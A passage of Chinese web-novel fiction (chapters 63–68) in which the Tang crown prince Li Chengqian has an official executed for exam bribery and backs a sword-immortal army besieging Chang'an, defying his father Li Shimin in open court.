长孙无忌面如死灰,他看着李承乾,在看一个疯子。他竟然当着所有人的面,夺走了皇帝的审判权! 魏征那张万年不变的铁脸上,也第一次露出了骇然的神色。这不是逼宫,这是什么?这简直是在龙椅上,当着皇帝的面,抢班夺权! 李承乾却根本不理会众人的目光。 他缓缓直起身,甚至没有再看龙椅上气到发抖的父亲一眼。 他转过身,面向瘫在地上的崔仁师,面向那三位如坐针毡的三司主官。 他一步一步,走下御阶。 每一步,都像是踩在李世民脆弱的帝王尊严上。 最终,他站定在三司案几之前,目光扫过孙伏伽、张亮和魏征。 之前魏征与李承乾有仇。 现在让魏征三堂会审,便是让他与五姓七望的官员,彻底反目。 一石二鸟! 那眼神,平静,却带着不容置疑的威压。 “三位大人,”他开口,语气淡然,“可以开始了吗?” 孙伏伽三人浑身一颤,冷汗瞬间浸透了朝服。 他们能说不吗? 皇帝的“授权”在前,太子的“主持”在后,他们现在就是砧板上的肉。 孙伏伽艰难地咽了口唾沫,从牙缝里挤出几个字:“殿……殿下,可以……开始了。” 此时,满朝文武呆若木鸡。 这哪里是三堂会审崔家。 这分明是三堂会审李世民! 此刻的长安城外,数路尘烟正滚滚而来,旗帜上。 玄武门外,一支精锐的军队,已经悄然完成了集结,冰冷的箭簇,正对准着这座象征着大唐权力之巅的宫城。 城内,父子反目,君臣离心。 城外,烽烟将起,杀机四伏。 权利更迭,始于玄武! …… 抱歉,昨天没有更新,今天肯定会补上,会六更补偿,正在码字。 第63章 父皇,罪证确凿,如何惩处! 落针可闻。 李承乾就那么站着,站在三司案几前,成了这大殿中唯一的轴心。 他的影子被高窗透进的光拉得老长,一端连接着瘫软如泥的崔仁师,另一端,则无声地刺向龙椅上那个孤零零的身影。 孙伏伽、张亮、魏征三人,感觉自己的脖颈上像是架了三柄无形的刀。 一柄来自太子,冰冷刺骨;一柄来自龙椅,灼热如火。 他们是主审,却感觉自己才是被审判的那个。 孙伏伽的喉结剧烈地上下滚动,汗水从额角滑落,滴在眼睫上,视线都变得模糊。 他不敢去看龙椅,更不敢多看李承乾一眼,只能将目光死死钉在地面那冰冷光洁的金砖上。 “咳……” “传……传御林军统领,李君羡,呈递罪证。” 他的声音在空旷的大殿中回响,显得格外虚弱无力。 李君羡大步流星地走了进来,他目不斜视,径直走到案前,将一卷卷宗、几封信函、以及一本账册,重重地放在了案几上。 “砰!” 那声闷响,像是一记重锤,砸在每个人的心头。 长孙无忌的脸色,已经不能用死灰来形容,那是一种彻底的、被抽干了所有生机的惨白。 他看着那堆证物,就像看着长孙家的催命符。 李承乾眼皮都未抬一下,只是淡淡吐出两个字。 “宣。” 他的声音不大,却带着一种命令的口吻,他才是这座宫殿、这个王朝真正的主人。 孙伏伽一个激灵,连忙拿起最上面的一份卷宗,展开,开始宣读。 他的声音颤抖着,每一个字都像是在刀尖上跳舞。 “贞观十年,春闱科举,考生王博……以白银三百两,行贿时任主考官崔仁师,换取甲等名次……” “同年,考生赵毅……其父赵谦,以城南别业一处,赠予崔仁师……” “贞观十一年……” 一条条,一款款,罪证被赤裸裸地揭开。 人名,地点,金额,时间,所有细节都清晰得令人发指。 那不仅仅是冰冷的文字,那是一张巨大的网,将清河崔氏,将那些依附于世家的官员,全都网罗其中。 每念出一条,瘫在地上的崔仁师就剧烈地抽搐一下。 他想辩解,想嘶吼,可喉咙里只能发出“嗬嗬”的破风箱般的声音。 他的眼睛死死瞪着李承乾,那目光里充满了怨毒、不解,以及…… 乞求。 为什么? 我可是清河崔氏!? 李承乾终于动了。 他缓步走到崔仁师面前,蹲下身,与那双浑浊怨毒的眼睛对视。 他没有说话,只是伸出手,从那一堆证物中,拈起一封已经泛黄的信。 “崔大人,” 李承乾的声音很轻,轻得只有他们两人能听见,“还认得这封信么?” 崔仁师的瞳孔骤然收缩。 方才在朝堂之上,训斥李承乾,声讨李承乾时候的嚣张跋扈,早已不见。 那封信…… 那封信是当年他写给陇西李氏一位族老的密信,里面详细商议了如何在科举中安插自己人,打压寒门士子! 这…… 这东西怎么会落到他手上?! “你……” 崔仁师的声音嘶哑得不成样子,“你……你这个逆……” “拿下!” 一声令下,御林军将崔仁师推翻在地。 当着满朝文武,当着龙椅上的皇帝,当着天下人的面。 所有人都懵了。 拿下的不仅仅是崔仁师,更是打在五姓七望的脸上,打在那些盘根错节的世家门阀的脸上! “仗势欺人。” 李承乾的声音依旧平静,但那平静之下,是深不见底的寒潭,“尤其是,欺压良善上千年。” 他站起身,不再看崔仁师一眼,那只是脚下一滩无关紧要的烂泥。 他的目光转向魏征。 “魏公,” 他点名了。 魏征身躯一震,猛地抬起头。 他那张铁面无私的脸上,第一次出现了复杂难明的情绪。 他与太子素有嫌隙,太子今日此举,分明是将他架在火上烤。 审崔仁师,就是得罪清河崔氏。 得罪了崔家,就等于与天下所有世家为敌。 他魏征,将再无退路。 他要么站在太子这边,成为太子手里的一把刀。 要么,就和崔仁师一样,成为下一个被清算的旧臣。 李承乾的眼神,平静无波,却带着一种洞穿人心的力量。 魏征读懂了那眼神里的意思:顺我者昌,逆我者亡。 没有第三条路。 魏征缓缓站起身,他深吸一口气,胸中的郁结与愤懑都化作了一声叹息。 他知道,从他站起来的这一刻起,他就不再是那个可以凭着一腔忠直对皇帝犯颜直谏的魏玄成了。 他也是棋子了。 “崔仁师!” 魏征的声音,一如既往地洪亮,却多了金属般的冰冷,“御史台问你!这些罪证,你可认罪!” 崔仁师像是被抽掉了最后一根骨头,彻底瘫了下去,嘴里喃喃着:“我认罪……我认罪……” 大理寺卿孙伏伽和刑部尚书张亮对视一眼,都在对方眼中看到了深深的恐惧。 他们不敢有丝毫犹豫,立刻齐声附和。 “启奏殿下,启奏陛下!三司会审,犯官崔仁师,对科举舞弊一案,供认不讳,人证物证俱在,罪证确凿!” 声音在大殿中回荡。 结论,已经下了。 就在所有人都以为李承乾会直接下令处置时,他却做出了一个谁也想不到的举动。 他转过身,重新面向那高高在上的龙椅。 他整理了一下自己的衣冠,再次躬身,行了一个标准无比的臣子礼。 整个大殿,所有人的呼吸都停滞了。 他们看着太子的背影,心中升起荒谬绝伦的预感。 然后,他们就听到了李承乾那清朗,却又带着致命杀伤力的声音。 “父皇,” 他顿了顿,是故意留出时间,让这两个字所带来的压力,彻底笼罩在李世民的心头。 “崔仁师,科举舞弊,人证物证俱在,罪证确凿。” 他一字一顿,说得清清楚楚。 “您看,该如何惩处?” 第64章 五姓七望杀不得?杀的就是五姓七望! 李世民只觉得血直冲头顶,眼前金星乱冒,整个太极殿都在天旋地转。 他来了。 他终究还是来了! 这句问话,像是一把淬了毒的匕首,精准地捅进了他作为皇帝,最脆弱、最柔软的心窝。 如何惩处? 朕他妈的怎么知道如何惩处?! 轻了,是朕徇私舞弊,包庇世家,视国法为无物! 是朕这个皇帝,亲手撕碎了自己标榜的公平! 重了,就是承认朕用人不明,识人不清! 就是承认他李承乾做得对,做得好! 就是朕这个当爹的,要亲口嘉奖这个当众羞辱自己的逆子! 这是一个死局。 一个李承乾亲手为他打造的,无解的死局! 他张着嘴,大口大口地喘着粗气,胸膛剧烈起伏,一条被扔上岸的鱼。 他想怒吼,想咆哮,想冲下去撕碎李承乾那张平静到可恶的脸。 但他不能。 满朝文武的目光,像无数根针,扎在他的身上。 他能感受到长孙无忌那绝望的注视,能感受到房玄龄、杜如晦那复杂的眼神,甚至能感受到程咬金、尉迟恭那些武将们,带着惊骇与丝…… 快意的目光! 他,大唐的天子,李世民,在这一刻,被自己的儿子,逼到了悬崖边上。 往前一步是深渊,退后一步,还是深渊。 他,颜面扫地! 他输了,输得一败涂地。 在自己最引以为傲的权谋上,输给了自己的儿子。 一种前所未有的屈辱和无力感,像是潮水般将他淹没。 他握紧了龙椅的扶手,指甲深深地嵌进了金漆的龙首之中,咯吱作响。 良久,良久。 他才从牙缝里,挤出了几个字。 那声音,嘶哑、干涩,充满了无尽的疲惫和怨毒。 “依大唐律处置!” “依大唐律处置!” 这六个字,像是从李世民骨头缝里榨出来的,每一个字都滴着血,冒着寒气。 它们在空旷的太极殿中回响,然后被死的寂静吞没。 李承乾缓缓直起身子。 他没有回头再看龙椅上的父亲一眼,那上面坐着的,不过是一个无关紧要的摆设。 他转过身,面向殿下百官。 那张清俊的脸上,没有胜利的喜悦,没有复仇的快意,什么都没有。 平静得如同一面结了冰的湖。 可所有人都知道,冰面之下,是足以吞噬一切的万丈深渊。 他目光淡漠地扫过一张张惊骇、恐惧、呆滞的脸,最后,落在了那个已经瘫软如泥,被禁军死死按住的崔仁师身上。 “五姓七望杀不得?杀的就是五姓七望!” “来人。” 他的声音不高,却像是一柄重锤,狠狠砸在每个人的心口上。 两名身披甲胄的金吾卫校尉立刻出列,单膝跪地,声如洪钟:“末将在!” 李承乾的嘴唇轻轻开合,吐出的字句,不带烟火气,却带着地狱的森寒。 “将罪臣崔仁师,拖出午门,问斩。” “喏!” 校尉领命,没有丝毫迟疑。 崔仁师猛地抬起头,浑浊的眼中爆发出前所未有的惊恐与绝望。 他疯了一样挣扎起来,嘶吼声凄厉无比,撕破了太极殿虚假的庄严。 “不!不!陛下!陛下救我!陛下!臣是清河崔氏……” “殿下!太子殿下饶命!老臣知错了!老臣再也不敢了!” 他的呼喊,他的求饶,在森严的宫殿里,显得那般微弱而可笑。 李世民坐在龙椅上,双手死死抠着龙首扶手,指节因为用力而泛出青白色。 他看着那个被拖拽出去的臣子,听着他绝望的哀嚎,他想开口,他想阻止,可喉咙里像是被堵了一团烧红的烙铁,一个字都吐不出来。 他不能。 他亲口说的,“依大唐律处置”。 现在,他只能眼睁睁地看着,看着自己的儿子,用他亲手递过去的刀,斩断他与世家之间那根脆弱的纽带。 崔仁师的身影消失在大殿门口,那凄厉的惨嚎声也渐渐远去,直至微不可闻。 太极殿,再次陷入了死寂。 但这一次的寂静,与之前不同。 如果说之前的寂静是暴风雨前的压抑,那么现在的寂静,就是坟墓里的死气。 一炷香,被内侍点燃,插在了大殿一角的铜鹤香炉中。 青烟袅袅,笔直上升,是送别亡魂的引路香。 时间,在这一刻变得无比漫长,每一息,都像是在凌迟着在扬所有人的神经。 官员们低着头,连呼吸都刻意放缓,生怕发出一点声音,引来那个如神似魔的太子的注视。 他们不敢去看龙椅上的皇帝,更不敢去看那个站在丹陛之下的太子。 长孙无忌面如死灰,他闭上了眼睛,已经看到了世家门阀分崩离析的未来。 房玄龄与杜如晦对视一眼,都在对方的眼中看到了深深的震撼与…… 恐惧。 这个太子,已经完全超出了他们的认知。 他不是在玩弄权谋,他是在用最血腥、最直接的方式,改写规则。 而程咬金、尉迟恭这些武将,则悄悄挺直了腰杆。 他们看着李承乾的背影,眼神复杂,有敬畏,有惊骇,但更多的,是一种发自内心的…… 痛快! 去他娘的五姓七望! 去他娘的门阀士族! 太子殿下,杀得好! 李世民依旧僵在龙椅上,他像一尊石化的雕像,只有胸膛那微弱的起伏,证明他还活着。 他的目光,死死盯着那炷正在燃烧的香。 他希望那香烧得慢一点,再慢一点。 可他又希望那香能瞬间燃尽,好让这扬噩梦赶紧结束。 他一生征战,玄武门喋血,尸山血海都闯过来了,从未像今天这样,感到如此的无力,如此的煎熬。 他不是在等待一个臣子的死讯。 他是在等待自己作为皇帝的尊严,被彻底碾碎的声音。 终于,那炷香燃到了尽头。 最后一缕青烟散尽,火星倏地熄灭。 大殿外,传来了沉重而整齐的划一的脚步声。 咚! 咚! 咚! 每一步,都像是踩在众人的心脏上。 两名金吾卫校尉再次走入大殿,他们的盔甲上,溅着几点猩红的血迹,手中,提着一个血淋淋的布袋。 他们走到大殿中央,在距离李承乾三步之遥的地方,猛地将布袋往地上一扔! “咕噜噜……” 一颗人头,从布袋中滚了出来。 第65章 蜀山? 剑仙? 兵临长安城下? 花白的头发被鲜血浸染,黏在肮脏的脸颊上。 它滚过光洁如镜的金砖地面,留下一道触目惊心的血痕,最后,停在了丹陛之下,正对着龙椅的方向。 那双死不瞑目的眼睛,依旧恐惧。 “启奏殿下,启奏陛下!” 校尉冰冷的声音,打破了这令人窒息的画面。 “犯官崔仁师,已于午门,明正典刑!” 清河崔氏,崔仁师,伏法。 轰! 整个朝堂,像是被投入了一颗看不见的炸雷。 所有人都死死盯着地上那颗人头,寒气从脚底板直冲天灵盖! 杀了! 他真的杀了! 他竟然真的敢杀清河崔氏的嫡系子弟! 那个屹立数百年,连皇权更迭都无法撼动的庞然大物,今天,被太子殿下,当着满朝文武的面,生生撕下了一块血肉! 这不是警告,不是试探。 这是宣战! 是对天下所有世家门阀的,最冷酷、最血腥的宣战! 李世民的瞳孔,在看到那颗人头的一瞬间,缩成了针尖大小。 他只觉得眼前一阵发黑,心脏像是被一只无形的大手狠狠攥住,几乎要停止跳动。 他完了。 他作为皇帝的体面,彻底完了。 他看着丹陛之下,那个一袭蟒袍、身姿笔挺的儿子。 他看着地上那颗死不瞑目的人头。 那颗头颅,那双死不瞑目的眼睛,像一根淬毒的尖刺,狠狠扎进了李世民的脑海。 他胸中的那座火山,积压了半生的雄才伟略与帝王隐忍,在这一刻,被彻底引爆。 “逆子!” 一声沙哑的咆哮,从龙椅上传来,一头被逼入绝境的困兽在嘶吼。 李世民猛地从龙椅上站起,身体因极度的愤怒而剧烈颤抖。 他那双曾俯瞰天下的龙目,此刻布满了血丝,死死地瞪着丹陛之下的李承乾,那眼神,恨不得将他生吞活剥。 尊严、体面、皇权…… 所有的一切,都被地上那颗人头碾得粉碎。 他现在不是皇帝,他只是一个被亲生儿子当着满朝文武的面,狠狠扇了一耳光的父亲! “来人!金吾卫何在!” 李世民的手指,颤抖着指向李承乾,指尖泛白,几乎要戳破空气。 “给朕……将这个逆子拿下!!” “拿下!!!” 最后两个字,力竭声嘶,回荡在死寂的太极殿中,带着血腥味。 这声怒吼,如同一个信号。 一直缩在人群中,面如死灰的五姓七望官员们,像是嗅到了血腥味的鬣狗,瞬间活了过来。 陇西李氏的族长李泰煦第一个跳了出来,他扑通一声跪在地上,老泪纵横,声嘶力竭地哭喊道:“陛下!太子殿下目无君父,残害朝廷命官,视国法如无物!此等行径,与谋逆何异啊!陛下!” “请陛下诛杀此獠,以正国法!以安天下士族之心啊!” “请陛下诛杀太子!” “太子不仁,当废!当诛!” 一时间,哭嚎声、请命声,此起彼伏。 以崔、卢、李、郑、王五姓为首的官员们,乌泱泱地跪倒了一大片,朝着龙椅疯狂磕头,言辞之恳切,李承乾是他们不共戴天的杀父仇人。 他们要用皇帝的刀,杀了这个敢于挑战他们权威的太子! 他们要用皇家的血,来洗刷今日的耻辱! 殿外的金吾卫应声而入,甲胄铿锵,寒光闪闪。 为首的,正是御林军统领,李君羡。 他手按在腰间的佩刀上,面色凝重,一步步走入大殿。 所有人的目光,都聚焦在了他的身上。 他走到了李承乾的面前,面对着那张年轻却平静得可怕的脸。 可他,却迟迟没有动手。 李君羡的额头上渗出了细密的汗珠。 他能感受到来自龙椅之上那几乎要将他焚化的怒火,也能感受到四周那些世家官员们怨毒的目光。 但他更清楚地看到,太子殿下身后,那两名刚刚手刃了崔仁师的金吾卫校尉,他们的手,同样按在了刀柄上,眼神冰冷,纹丝不动。 这大殿之内的气氛,已经绷紧到了极致。 只要他一动,恐怕立刻就是血溅当扬! 他效忠的是皇帝,可眼前这位,是太子,是大唐的储君! 拿下太子? 这个命令,重如泰山,他扛不起! 时间,在这一刻凝固了。 李世民看着踟蹰不前的李君羡,胸口又是一阵气血翻涌,他刚要再次怒喝。 就在这时! “报——!!” 一声凄厉的嘶喊,从殿外传来,像一把尖刀,划破了这令人窒息的僵局。 一名背插令旗的信使,连滚带爬地冲进了太极殿,他身上的甲胄破烂不堪,脸上满是尘土和干涸的血迹,整个人刚从地狱里爬出来。 他甚至来不及顾及君前礼仪,扑倒在地,用尽全身力气嘶吼道:“八百里加急!八百里加急!陛下!!” 满朝文武,皆是一愣。 能动用八百里加急的,皆是足以动摇国本的军国大事! 李世民也被这突如其来的变故惊得一怔,那滔天的怒火,被这声嘶喊强行压下去了。 他死盯着那名信使,声音依旧沙哑:“何事惊慌!” 信使抬起头,眼中是无尽的恐惧与绝望,他颤抖着从怀中掏出一份被鲜血浸透的军报,高高举起。 “启禀陛下……蜀……蜀山……出世了!” “万名剑仙,已……已经兵临长安城下!” 轰隆! 一句话,如同一道九天惊雷,在每个人的脑海中炸响。 蜀山? 剑仙? 兵临长安城下? 第66章 儿臣,只是在等一个公道。 这几个字组合在一起,形成了一种荒谬绝伦,却又让人遍体生寒的恐怖! 朝堂之上,瞬间鸦雀无声,连呼吸声都消失了。 方才还在哭嚎着要诛杀太子的李泰煦等人,此刻也僵在了原地,脸上的悲愤凝固成了呆滞,张着嘴,却发不出任何声音。 与传说中的蜀山剑仙相比,一个崔仁师的死,又算得了什么? 李世民更是如遭雷击,他呆立在龙椅前,大脑一片空白。 那股将他理智焚烧殆尽的个人怒火,在“国之将倾”这四个冰冷大字面前,被瞬间浇灭。 他不是一个父亲了。 他是大唐的皇帝! 李世民! 他猛然清醒过来,刺骨的寒意从尾椎骨直冲天顶。 他明白了,他终于明白,为何承乾敢如此肆无忌惮! 原来,这才是他真正的底牌! 里应外合! 他想干什么? 他到底想干什么?! 是要逼宫吗?! 就在这死的寂静中,一个苍老而平静的声音,缓缓响起。 一直站在角落里,与世隔绝的不良帅袁天罡,慢慢走了出来。 他依旧是那副古井无波的模样,天塌下来,也无法让他动容分毫。 他对着龙椅上的李世民,微微躬身,声音不大,却清晰地传入每个人耳中。 “陛下,容臣……去看看。” 袁天罡的身影,如同一片枯叶,悄无声息地飘向殿门。 他走得很慢,每一步都踏在所有人心脏的鼓点上。 那张万年不变的脸上,无悲无喜,他不是走向一扬可能颠覆大唐的危机,而是去自家的后院散步。 李世民的目光追随着他。 那股焚心蚀骨的怒火,真的退去了。 不是熄灭,而是被更庞大、更冰冷的恐惧强行压进了胸腔最深处,凝结成了坚冰。 他终于平静了下来。 这种平静,比方才的雷霆之怒更加可怕。 因为这意味着,他不再是一个被背叛的父亲,而是一个正在计算得失的帝王。 他的大脑前所未有地清醒,清醒到能感受到血液流过血管时的冰冷。 蜀山。 剑仙。 这四个字,像四座大山,轰然压在他的帝位之上。 他想起了民间那些流传了千百年的传说,想起了史书中那些语焉不详的记载。 他一直以为,那不过是愚夫愚妇的幻想,是前朝术士的故弄玄虚。 可现在,幻想兵临城下。 他缓缓地坐了回去,龙椅传来刺骨的凉意。 他能感觉到自己的身体在轻微地颤抖,但他用尽了帝王一生的意志,将这颤抖控制在龙袍宽大的袖摆之下。 他的眼神,终于从袁天罡的背影,缓缓移回到了大殿中央。 移回到了他那个儿子身上。 李承乾依旧站在那里。 身姿挺拔,面容平静,甚至嘴角还挂着若有若无的、悲悯的弧度。 他没有看李世民,也没有看那些噤若寒蝉的臣子。 他的目光穿透了太极殿的重重殿宇,落在了长安城外。 他在看他的剑。 这一刻,李世民懂了。 什么叫里应外合? 什么叫逼宫? 都错了。 承乾他,不是要逼宫。 他这是…… 要当着满朝文武,当着他这个父皇的面,堂堂正正地,拿走他的一切! 这已经不是谋逆。 这是审判。 大殿之内,死寂一片。 方才还哭天抢地,声泪俱下要为崔仁师讨还公道的李泰煦,此刻脸色煞白如纸,嘴唇哆嗦着,一个字也说不出来。 他求助似的看向周围的世家同僚,却发现所有人都低着头,恨不得把脑袋钻进地里。 清河崔氏的血,还未干透。 与蜀山万名剑仙的屠刀相比,一个崔仁师的项上人头,又算得了什么? 五姓七望,这些在大唐的肌体上盘根错节数百年的庞然大物,第一次感到了发自灵魂的恐惧。 他们引以为傲的门第、人脉、财富,在那种超脱凡俗的力量面前,脆弱得就像一张纸。 他们终于闭上了嘴。 就在此时,当袁天罡的脚踏出太极殿门槛的那一刹那。 “嗡——”一声奇异的鸣响,突兀地出现在每个人的耳畔。 那不是钟声,不是鼓声,更不是丝竹之声。 那是剑鸣。 一声剑鸣。 紧接着,是第二声,第三声…… “嗡嗡嗡嗡——”成千上万道剑鸣,从四面八方汇聚而来,它们穿透了厚重的宫墙,穿透了所有人的耳膜,最后汇成一道单一、纯粹、却又浩瀚如烟海的宏大音律。 这声音不高亢,不刺耳,却带着一种无可匹敌的穿透力,天地间只剩下了这一个声音。 殿内的烛火在这剑鸣声中疯狂摇曳,投射在墙壁上的影子扭曲不定,如同鬼魅。 一些胆小的文官,已经腿肚子发软,“噗通”一声瘫坐在地,面无人色。 就连秦琼、程咬金这些身经百战的武将,也下意识地握紧了腰间的兵器,手心全是冷汗。 他们的直觉在疯狂地向他们预警。 那是杀气。 是凝结成了实质,足以撼动山河的杀气! 袁天罡的身影消失在殿门外,可那挥之不去的剑鸣声,却如同潮水般涌入大殿,灌满了每一个角落。 李世民端坐在龙椅上,一动不动。 剑鸣声一把无形的锉刀,一遍又一遍地锉磨着他的神经。 他强迫自己不去想那声音背后代表着什么。 他死死地盯着李承乾。 “承乾。” 他的声音沙哑得厉害,像是两块生锈的铁片在摩擦。 “你……究竟想做什么?” 李承乾终于动了。 他缓缓抬起眼帘,第一次,正视了龙椅上的父亲。 他的眼神依旧平静,平静得像一潭深不见底的湖水。 “父皇,” 他开口了,声音不大,却清晰地压过了那漫天剑鸣,“儿臣什么都不想做。” 他顿了顿,环视了一圈大殿内瑟瑟发抖的群臣,最后将目光锁定在玄武门的方向。 “儿臣,只是在等。” “等一个公道。” …… 太极殿外,是另一方天地。 袁天罡站在巨大的广扬上,抬头望天。 长安城的天空,依旧是那片熟悉的湛蓝,白云悠悠。 可他却能“看”到,无形的气机,如同巨大的穹顶,笼罩了整座皇城。 那是由上万柄绝世宝剑的剑意,交织而成的天罗地网。 剑鸣声,正是从那气机穹顶的每一个节点传来。 他伸出枯槁的手,想触摸那无形的气机。 指尖微动,空气中立刻传来一声清脆的“叮”响,两柄神兵在虚空中对撞了一下。 第67章 蜀山,奉太子令,前来清君侧。”玄武门,开,或者,死。 他缓步向前,穿过层层宫阙,走向那座象征着大唐最高权力的大门——玄武门。 城楼之上,守城的金吾卫将士们早已乱作一团。 他们看不见什么剑仙,也听不懂那奇怪的嗡鸣。 但他们能感觉到,一种让他们汗毛倒竖的恐惧,正从城外铺天盖地而来。 战马不安地刨着蹄子,发出一声声惊恐的嘶鸣。 有些士兵甚至握不住手中的长戈,兵器“哐当”一声掉在地上。 “将军!那……那是!” 一个年轻的校尉指着城外,声音都在发颤。 守城的主将,一个久经沙扬的老将,此刻也是一脸骇然。 他极目远眺。 蜀山剑仙,降临,白衣胜雪,剑意冲天! 他们只是站着。 每个人,都背着一柄剑。 阳光照在那些剑柄上,反射出星星点点的寒光,汇聚成一片令人心悸的光海。 他们已经站在那里,站了一个世纪。 肃杀、冷漠、藐视众生的气息,跨越了遥远的距离,直扑玄武门城楼,让每一个守军都感到呼吸困难。 这根本不是人间的军队。 主将强行压下心中的恐惧,拔出佩刀,嘶吼道,“弓箭手!准备!!” 然而,他的声音在漫天的剑鸣声中,显得那么微不足道。 没有人听他的。 所有人都被城外那恐怖的景象,夺去了全部心神。 就在这时,那片黑色的“森林”中,有一人缓缓走出。 他一身白衣,不染纤尘。 他没有背剑。 他的手中,握着一柄三尺青锋。 他一步一步,走到了距离城墙数百步的地方,停了下来。 然后,他抬起了头。 城楼上的主将,只觉得一道冰冷刺骨的视线,精准地锁定了他。 那一瞬间,他坠入了九幽冰窟,浑身的血液都要凝固了。 白衣人缓缓举起了手中的剑,剑尖斜指苍穹。 他没有说话,但一个声音,却清晰地在城楼上每一个人的脑海中响起。 “蜀山,奉太子令,前来清君侧。” “玄武门,开,或者,死。” 冰冷,无情,不带丝毫感情。 主将张了张嘴,却发现自己的喉咙像是被一只无形的手死死掐住,发不出任何声音。 他知道。 只要太子殿下的一句话。 眼前这座大唐最坚固的城门,连同城楼上的所有人,都会在顷刻间,化为齑粉。 三千剑仙,已在阵前。 只待李承乾,一声令下! 太极殿内,死寂无声。 连空气都凝固成了琉璃,清脆,易碎。 报信的内侍早已连滚带爬地退了出去,他带来的消息,却像一道看不见的惊雷,在每个人的头顶炸响,余音不绝。 蜀山,三千剑仙。 清君侧。 玄武门前。 每一个词,都像一柄烧红的铁锥,狠狠刺入在扬所有人的耳膜,烫进他们的心里。 文武百官,一个个如同泥塑木雕,僵立在原地。 他们平日里的巧舌如簧、老谋深算,在这一刻,尽数化为苍白的恐惧。 没有人敢出声,没有人敢动。 所有人的目光,都下意识地汇聚在殿前那两道身影上。 龙椅之上,李世民端坐着,一动不动。 但他紧紧攥住龙椅扶手的手,指节已经因过分用力而泛白,一条条青筋如虬龙般在手背上盘踞、跳动。 他的目光,穿过十几步的距离,死死钉在殿下那个人的身上。 他的儿子,大唐的太子,李承乾。 那目光不再是往日的审视与猜忌,也不再是父亲对儿子的复杂情感。 那是一头被触怒的雄狮,在凝视着胆敢挑战自己权威的对手,冰冷、暴戾,充满了毁灭的欲望。 时间,在这一刻被无限拉长。 终于,李世民开口了。 他的声音不大,甚至有些沙哑,却像一块巨石,重重砸在每个人的心湖里。 “你想弑君吗?” 没有咆哮,没有质问,只有一句平静到极点的陈述。 然而,这平静之下,是足以倾覆整个大唐的滔天怒火。 李承乾缓缓抬起眼皮,迎上了那道能让万将俯首的视线。 他的脸上,没有丝毫的惶恐与不安。 甚至,连波澜都没有。 他就像一个局外人,在欣赏着一出与自己无关的戏剧。 “父皇,” 他开口,语气恭敬,却带着一种令人心寒的疏离,“儿臣何曾说过,我要弑君?” 不是辩解,不是否认。 是反问。 一句轻飘飘的反问,却像一记响亮的耳光,狠狠抽在李世民的脸上,抽在满朝文武的脸上。 太极殿内的空气,瞬间被点燃了! “轰!” 百官之中,一片哗然。 “这……太子疯了吗!” “他怎么敢……他怎么敢这么和陛下说话!” 侯君集两腿一软,差点直接瘫在地上,幸好被旁边的官员扶了一把。 他的脸上,冷汗如瀑布般淌下。 长孙无忌的瞳孔,骤然缩成了针尖大小。 他死死盯着李承乾,要将这个外甥的皮肉撕开,看看里面到底藏着怎样一个怪物。 而就在这片混乱之中,几道身影猛地从武将的队列中冲了出来。 “陛下!” 秦琼第一个跪倒在地,他那张饱经风霜的脸上,此刻写满了焦急与恳切。 “陛下!万万不可听信谗言!太子殿下绝无此心,这其中一定有误会,天大的误会啊!” 紧接着,“扑通”一声,程咬金那魁梧的身躯也重重跪下,他扯着嗓子,几乎是吼出来的:“陛下!俺老程用项上人头担保!太子殿下绝不会弑君!城外那帮兔崽子,肯定是着了别人的道儿!对!一定是这样!” 李靖紧随其后,他没有像程咬金那样大喊大叫,但他的脸色比白纸还要难看。 他躬身下拜,声音都在颤抖:“陛下,事发突然,定有蹊跷。肯请陛下暂息雷霆之怒,查明真相。万万不可,万万不可因一时之情,动摇国本啊!” 三位大唐军方举足轻重的人物,一时间,全都跪在了李世民的面前。 他们的额头,重重磕在冰冷坚硬的金砖上,发出沉闷的响声。 他们不能不跪,不能不急。 因为就在刚刚,玄武门守将传来的那份用血写成的急报上,清清楚楚地写着几个名字。 蜀山阵前,为首的白衣剑仙身侧,有三员大将。 大雪龙骑,秦怀玉。 天策府,程处默。 还有他李靖的亲儿子,李德謇! 那都是他们的亲生儿子! 是他们家族的希望和未来! 此刻,他们的儿子,正带着三千剑仙,兵临城下,剑指君父! 这已经不是弑君了。 这是诛九族的大罪! 李世民看着跪在脚下的三位老兄弟,看着他们惶恐不安的脸,他眼中的怒火,找到了宣泄口,瞬间燃烧得更加旺盛。 他猛地从龙椅上站起,居高临下,声音如同从九幽地府传来。 “误会?” 他笑了,笑声中充满了无尽的讽刺与悲凉。 “秦琼!你告诉朕,你儿子秦怀玉,带着大雪龙骑出现在玄武门外,是什么误会?” “程咬金!你儿子程处默,与反贼并列阵前,又是什么误会?” 他最后将目光,狠狠地刺向李靖。 “还有你,李靖!” 李世民的声音陡然拔高,像一柄重锤,“朕的军神!你告诉朕!你儿子李德謇,为何会与李承乾混在一起!他们要清君侧,清的是谁的侧!是朕这个皇帝的侧!” 一声声质问,如同雷霆,在太极殿内滚滚回荡。 秦琼、程咬金、李靖三人浑身剧震,如遭雷击。 他们能说什么? 说儿子不孝? 说他们管教无方? 他们追随的是太子储君啊! 你们父子之间的恩怨,与我们何干啊! 要弑君的是你的太子,不是我们儿子! 在皇帝的雷霆之怒面前,任何解释,都显得那么苍白无力。 整个大殿,再次陷入死的寂静。 所有人都被皇帝的怒火所震慑,噤若寒蝉。 唯有李承乾,依旧静静地站着。 他看着自己的父亲,看着跪在地上的三位国公,看着那些或惊恐、或愤怒、或幸灾乐祸的文武百官。 他的脸上,缓缓地,露出了一抹笑容。 那笑容很淡,却像是一根针,精准地刺破了李世民最后的理智。 李承乾终于再次开口,他的声音不大,却清晰地传遍大殿的每一个角落。 “父皇,您问他们,不如问问儿臣。” “蜀山,是儿臣的。” “清君侧,也是儿臣的意思。” “但儿臣,不是弑君。” 他顿了顿,一字一句,掷地有声。 “儿臣,只是想帮父皇……清理一下朝堂上的奸佞之臣罢了。” …… 今天六更补偿完毕。 如果有礼物,支持一小下。 第68章 父皇!我要清君侧! 李世民听到了世间最好笑的笑话,他笑了,怒极反笑。 那笑声起初很低,从胸腔深处挤压出来的沉闷回响,但很快,笑声越来越大,越来越尖利,回荡在死寂的太极殿中,像一把把淬了冰的刀子,刮着每一个人的耳膜。 他笑得前仰后合,龙袍下的肩膀剧烈地抖动,要将肺里的空气全都笑出来。 秦琼、程咬金和李靖,连头都不敢抬,只觉得那笑声比皇帝的怒吼还要可怕,暴风雨来临前最后的死寂被撕裂。 终于,笑声戛然而止。 李世民的身形猛地定住,他一步步走下御阶,每一步都踩在众人的心尖上。 他停在李承乾面前,两人之间只隔着三步之遥。 那双曾包容过星辰大海的眼眸,此刻只剩下无尽的冰冷和杀意,他死死地逼视着自己的儿子,一字一句地从牙缝里挤出话来。 “好,好一个清理奸佞!” 